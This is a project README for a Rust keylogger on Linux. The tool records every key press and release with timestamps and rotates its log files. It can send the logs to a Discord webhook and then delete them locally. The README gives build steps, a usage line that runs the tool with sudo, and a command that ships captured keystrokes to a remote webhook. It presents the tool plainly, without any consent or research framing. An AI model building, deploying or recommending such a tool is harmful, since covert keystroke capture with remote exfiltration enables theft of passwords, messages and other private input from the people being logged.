A simple, cross-platform keylogger utility written in Rust with features for automated log rotation and remote logging.
- Keyboard event monitoring and logging on Linux (with more platforms planned)
- Configurable log rotation with customizable intervals
- Discord webhook integration for remote log delivery
- Simple command-line interface
- Clean logging format with detailed timestamps
- Rust 1.85.0 or newer
- For Linux support:
libudev-dev
package (for evdev support)- Root access (to read from input devices)
# Clone the repository
git clone https://github.com/lafayettegabe/keylogger-rs.git
cd keylogger-rs
# Build with default features (Linux and Discord support)
cargo build --release
# Build with specific features only
cargo build --release --no-default-features --features linux
# Basic usage
sudo ./target/release/keylogger-rs -s linux -o logs -d 3600
# With Discord webhook
sudo ./target/release/keylogger-rs -s linux -o logs -d 3600 -w https://discord.com/api/webhooks/your-webhook-url
USAGE:
keylogger-rs [OPTIONS] --os <OS>
OPTIONS:
-s, --os <OS> Operating system (linux, windows, mac)
-o, --output <DIRECTORY> Directory to save log files [default: logs]
-d, --duration <SECONDS> Log rotation interval in seconds [default: 3600]
-w, --webhook <URL> Discord webhook URL for sending logs
-h, --help Print help information
-V, --version Print version information
Instead of command-line arguments, you can use environment variables:
KEYLOGGER_OUTPUT
: Directory to save log filesKEYLOGGER_DURATION
: Log rotation interval in secondsKEYLOGGER_WEBHOOK
: Discord webhook URL
src
βββ config # Command-line and configuration handling
βββ main.rs # Application entry point
βββ os # OS-specific implementations
β βββ linux # Linux keyboard monitoring
β β βββ keyboard
βββ utils # Utility modules
βββ errors # Error handling
βββ log_manager # Log rotation and management
βββ writer # File writing utilities
linux
: Enables Linux keyboard monitoring support via evdevdiscord
: Enables Discord webhook integration via reqwest- Default features include both
linux
anddiscord
- The program detects a keyboard device on the system
- Key press and release events are captured with timestamps
- Events are written to log files in the specified output directory
- Logs are rotated at the configured interval
- If a Discord webhook is configured, logs are sent there before deletion
Each log entry includes:
- Precise timestamp with millisecond precision
- Event type (Pressed/Released)
- Key code
Example:
[2025-03-17 14:22:31.123] Pressed: KEY_A
[2025-03-17 14:22:31.245] Released: KEY_A
- β Linux: Fully supported
- π Windows: Planned
- π macOS: Planned
This project is licensed under the MIT License - see the LICENSE file for details.
Contributions are welcome! Please feel free to submit a Pull Request.
- Fork the project
- Create your feature branch (
git checkout -b feature/amazing-feature
) - Commit your changes (
git commit -m 'Add some amazing feature'
) - Push to the branch (
git push origin feature/amazing-feature
) - Open a Pull Request